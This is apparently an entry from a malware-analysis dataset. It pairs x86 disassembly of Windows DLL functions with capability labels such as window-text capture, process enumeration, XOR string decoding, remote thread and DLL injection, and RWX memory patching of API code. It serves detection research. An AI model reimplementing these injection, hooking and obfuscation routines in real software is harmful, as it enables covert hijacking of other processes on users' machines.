joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b760
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001973b
mov eax, dword fs:[0]
push eax
sub esp, 0xc40
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0xc48], ebx
mov dword [ebp - 0xc44], ebx
mov dword [ebp - 0xc40], ebx
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0xc48]
mov dword [ebp - 4], ebx
call fcn.10015510
add esp, 4
mov word [ebp - 0xc34], 0xac2
mov byte [ebp - 0xc32], 0xc
call dword [sym.imp.MSVCR100.dll_rand]
and eax, 0x800000ff
jns 0x1000b7db
dec eax
or eax, 0xffffff00
inc eax
mov esi, dword [ebp - 0xc48]
mov byte [ebp - 0xc31], al
mov eax, dword [ebp - 0xc44]
sub eax, esi
sar eax, 2
mov byte [ebp - 0xc30], 0x17
mov dword [ebp - 0xc4c], eax
mov dword [ebp - 0xc2c], eax
cmp eax, ebx
jbe 0x1000b897
lea ecx, [ebp - 0x728]
mov dword [ebp - 0xc38], ecx
lea esp, [esp]
cmp ebx, 0x14
jge 0x1000b897
mov eax, dword [esi + ebx*4]
push 0x104
lea edx, [ebp - 0x11c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [esi + ebx*4]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, dword [ebp - 0xc38]
mov eax, dword [ebp - 0xc38]
add edi, 0xfffffb00
mov ecx, 0x10
lea esi, [ebp - 0x11c]
rep movsd dword es:[edi], dword [esi]
mov edi, eax
mov ecx, 0x10
lea esi, [ebp - 0x224]
inc ebx
add eax, 0x40
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xc48]
mov dword [ebp - 0xc38], eax
cmp ebx, dword [ebp - 0xc4c]
jb 0x1000b820
mov ecx, 0xa0c
lea edx, [ebp - 0xc34]
call fcn.100019b0
test esi, esi
je 0x1000b8b5
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
Function at 0x1000bb00
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1594
call fcn.10019430
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1584]
push eax
push 0x1000
lea ecx, [ebp - 0x1458]
xor edi, edi
push ecx
mov dword [ebp - 0x1584], edi
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1000bb52
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x1584]
shr esi, 2
mov dword [ebp - 0x158c], edi
mov dword [ebp - 0x1588], esi
cmp esi, edi
jle 0x1000bc51
lea eax, [ebp + edi*4 - 0x1458]
mov dword [ebp - 0x1590], eax
mov eax, dword [eax]
test eax, eax
je 0x1000bc42
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x1000bc3b
push 0x104
lea edx, [ebp - 0x250]
push edx
push ebx
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x1000bc3b
lea esi, [ebp - 0x250]
call fcn.10013ae0
push eax
lea eax, [ebp - 0x48]
push 0x1001f8a8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x458]
push ecx
mov ecx, esi
call fcn.10013890
add esp, 0x10
test al, al
je 0x1000bc35
mov edx, dword [ebp - 0x1590]
mov eax, dword [edx]
mov dword [ebp - 0x1580], eax
mov ecx, 8
lea esi, [ebp - 0x48]
lea edi, [ebp - 0x157c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x458]
push ecx
lea edx, [ebp - 0x155c]
push 0x10020030
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x1580]
push eax
call fcn.1000cf80
mov edi, dword [ebp - 0x158c]
mov esi, dword [ebp - 0x1588]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
mov dword [ebp - 0x158c], edi
cmp edi, esi
jl 0x1000bb6f
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018a26
mov esp, ebp
pop ebp
ret
Function at 0x1000cde0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019a48
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x1000cee8
cmp byte [edi + 0x49], 0
je 0x1000cee8
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x1000cedc
lea esi, [ebp - 0x2c]
call fcn.1000d3c0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
mov ecx, eax
cmp edx, 0x10
jae 0x1000ce53
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x1000ce7b
dec eax
je 0x1000ce7f
sub eax, 2
lea esi, [ebp - 0x2c]
jne 0x1000ced7
jmp 0x1000cee3
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x1000ce8f
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x1000ceb9
cmp edx, 0x10
jae 0x1000ce9e
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000ced4
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x1000cee0
test esi, esi
jne 0x1000ce47
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.1000d2f0
jmp 0x1000ce41
lea esi, [ebp - 0x2c]
call fcn.1000a200
xor al, al
jmp 0x1000ceea
lea esi, [ebp - 0x2c]
call fcn.1000a200
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret
Function at 0x1000d6d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ecx, 0x76f13ec6
lea eax, [ebp - 0x20]
call fcn.1000ea60
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, 0x1001fe14
sub ecx, 0x35b5523b
lea eax, [ebp - 0x34]
call fcn.10009840
push eax
mov ecx, 0x1001fe20
sub ecx, 0x477f543b
lea eax, [ebp - 0x24]
call fcn.100097c0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x11182d88], eax
mov ecx, 0xc6
xor eax, eax
jmp 0x1000d760
mov dl, byte [eax + 0x10020170]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d760
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x10020180]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d783
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov dword [0x11182d8c], eax
mov ecx, 0x81
xor eax, eax
jmp 0x1000d7c0
mov dl, byte [eax + 0x10020190]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d7c0
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x10020180]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d7e3
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov edx, dword [0x11182d88]
mov dword [0x11182d90], eax
mov dword [0x11182d94], edx
call fcn.10017be0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.100180c0
push 0x1000de30
push 0x11182d94
call fcn.10017690
call fcn.10017c50
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018a26
mov esp, ebp
pop ebp
ret
Function at 0x1000d860
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.10019430
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea ecx, [ebp - 0x1008]
xor ebx, ebx
push ecx
mov dword [ebp - 0x1014], ebx
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1000d8b2
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1014]
shr eax, 2
mov dword [ebp - 0x1010], ebx
mov dword [ebp - 0x100c], eax
cmp eax, ebx
jle 0x1000d9be
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1000d8e0
mov esi, dword [ebp + ebx*4 - 0x1008]
lea ecx, [ebp + ebx*4 - 0x1008]
mov dword [ebp - 0x101c], ecx
test esi, esi
je 0x1000d9af
push 0x11182dac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x11182dc8]
mov eax, dword [edx + 4]
cmp byte [eax + 0x19], 0
mov ecx, edx
jne 0x1000d92c
cmp dword [eax + 0xc], esi
jae 0x1000d922
mov eax, dword [eax + 8]
jmp 0x1000d926
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0x19], 0
je 0x1000d918
mov dword [ebp - 0x1018], ecx
cmp ecx, edx
je 0x1000d943
cmp esi, dword [ecx + 0xc]
jb 0x1000d943
lea eax, [ebp - 0x1018]
jmp 0x1000d94f
mov dword [ebp - 0x1024], edx
lea eax, [ebp - 0x1024]
mov eax, dword [eax]
push 0x11182dac
cmp eax, edx
je 0x1000d970
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x1020], edx
mov dword [ebp - 0x101c], eax
call edi
jmp 0x1000d9a9
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
call fcn.1000dd90
mov ebx, dword [ebp - 0x101c]
mov esi, dword [ebx]
call fcn.1000d9e0
test al, al
je 0x1000d89f
mov ebx, dword [ebx]
call fcn.1000b3c0
test al, al
je 0x1000d89f
mov ebx, dword [ebp - 0x1010]
mov eax, dword [ebp - 0x100c]
inc ebx
mov dword [ebp - 0x1010], ebx
cmp ebx, eax
jl 0x1000d8e0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018a26
mov esp, ebp
pop ebp
ret
Function at 0x1000dab0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10019430
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x1000db01
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x1000db66
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x1000db61
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000db58
test dl, dl
je 0x1000db54
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000db58
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000db38
xor eax, eax
jmp 0x1000db5d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000db7a
inc esi
cmp esi, edi
jl 0x1000db10
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
Function at 0x1000db90
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 4
push 0x1000
mov esi, ecx
push esi
push 0
push ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x1000dbe8
mov ecx, dword [ebp - 0x20]
push 0
push esi
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000dbfc
push 0x8000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
push 0x100201a0
mov edi, 0x3b8d1c6c
lea esi, [ebp - 0x14]
call fcn.1000ead0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
sete dl
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 8], cl
test dl, dl
je 0x1000dc5b
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
push 0x8000
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebp - 0x1c]
push 0
push 0
push esi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x1000dc98
mov ecx, dword [ebp - 0x18]
push 0x8000
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
test eax, eax
je 0x1000dcca
mov edx, dword [ebp - 0x18]
push edx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x18]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4

Function at 0x1000ead0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf3
xor ecx, ecx
jmp 0x1000eae0
mov al, byte [edi + ecx - 0x2b8b1aec]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x1000eae0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x1000fb80
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1012f3d0]
cmp eax, 0x927c0
jb 0x1000fba3
call esi
mov dword [0x1012f3d0], eax
cmp dword [0x1012f38c], 0
je 0x1000fc6e
push 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov eax, dword [0x1012f39c]
mov ecx, dword [0x1012f3a0]
mov esi, eax
cmp eax, ecx
je 0x1000fc00
push 0
push ecx
push eax
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov dword [0x1012f3a0], esi
push 0
mov dword [0x11182a84], 0xffffffff
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0x1000f8a0
push 0
push eax
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
test eax, eax
je 0x1000fc50
mov edx, dword [0x1012f39c]
cmp edx, dword [0x1012f3a0]
je 0x1000fc50
push 0x1012f39c
call fcn.1000fc80
mov eax, dword [ebp - 4]
add esp, 4
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret
push str.SOMETHING_WENT_WRONG._Terrible_sorry...
push 0
mov ecx, 0x10125528
call fcn.1000acc0
mov eax, dword [ebp - 4]
add esp, 8
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010420
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.____________________________________________________________________________________________________
push 0
mov ecx, 0x10125528
call fcn.1000acc0
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0x14
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x100
push 0
push 0x11183058
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001c660]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x11183058], cl
inc eax
cmp eax, 0x100
jb 0x100104a0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.1.7.0
push 0x11183058
push 0
mov ecx, 0x10125528
call fcn.1000acc0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10018a26
mov esp, ebp
pop ebp
ret
Function at 0x10010d90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0xcd
xor eax, eax
mov dl, byte [eax + 0x10020430]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0x1e
jb 0x10010da7
lea eax, [ebp - 0x24]
push eax
push 0x1810
push 0
push 4
push 0
push 0xffffffffffffffff
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x11182aa0], eax
sete al
test al, al
je 0x10010df9
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x11182aa0]
push 0x1810
push 0
push 0
push 0xf001f
cmp eax, 0xb7
push ecx
setne bl
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x11182a9c], eax
test eax, eax
jne 0x10010e3d
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret
test bl, bl
je 0x10010e62
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 0xc08], 0
mov dword [eax + 0xc0c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
mov dword [0x11182a98], eax
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018a26
mov esp, ebp
pop ebp
ret

Function at 0x10011220
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, str.xQDWX
push esi
sub ecx, 0x405bdd07
lea eax, [ebp - 0x10]
call fcn.10012060
push eax
mov ecx, 0x540c2403
lea eax, [ebp - 0x1c]
call fcn.10011fe0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
test esi, esi
jne 0x10011290
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018a26
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x20]
push eax
push 0x40
push 6
push 0x11182a88
call edi
mov ecx, dword [esi]
mov dword [0x11182a88], ecx
mov ecx, dword [ebp - 0x20]
mov dx, word [esi + 4]
lea eax, [ebp - 0x20]
push eax
push ecx
push 6
push 0x11182a88
mov word [0x11182a8c], dx
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10018a26
mov esp, ebp
pop ebp
ret

Function at 0x10011ec0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x55
xor ecx, ecx
jmp 0x10011ed0
mov al, byte [edi + ecx + 0x363dbeac]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x10011ed0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10011ef0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf9
xor ecx, ecx
jmp 0x10011f00
mov al, byte [edi + ecx + 0xb12c02e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x10011f00
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10011f20
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x32
xor ecx, ecx
jmp 0x10011f30
mov al, byte [edi + ecx + 0x3b0f89]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xd
jb 0x10011f30
mov byte [esi + 0xd], 0
mov eax, esi
ret

Function at 0x10011f50
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x5b
xor ecx, ecx
jmp 0x10011f60
mov al, byte [edi + ecx - 0x6bcb0989]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x12
jb 0x10011f60
mov byte [esi + 0x12], 0
mov eax, esi
ret

Function at 0x10011f80
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x48
xor ecx, ecx
jmp 0x10011f90
mov al, byte [edi + ecx + 0x4568d847]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x10
jb 0x10011f90
mov byte [esi + 0x10], 0
mov eax, esi
ret

Function at 0x10011fb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xa9
xor ecx, ecx
jmp 0x10011fc0
mov al, byte [edi + ecx - 0x28bf4e57]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x10011fc0
mov byte [esi + 0xf], 0
mov eax, esi
ret
Function at 0x100125a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x10012717
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x10012707
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x10012690
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10012690
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x100126b2
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100126e4
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.10018a26
mov esp, ebp
pop ebp
ret 4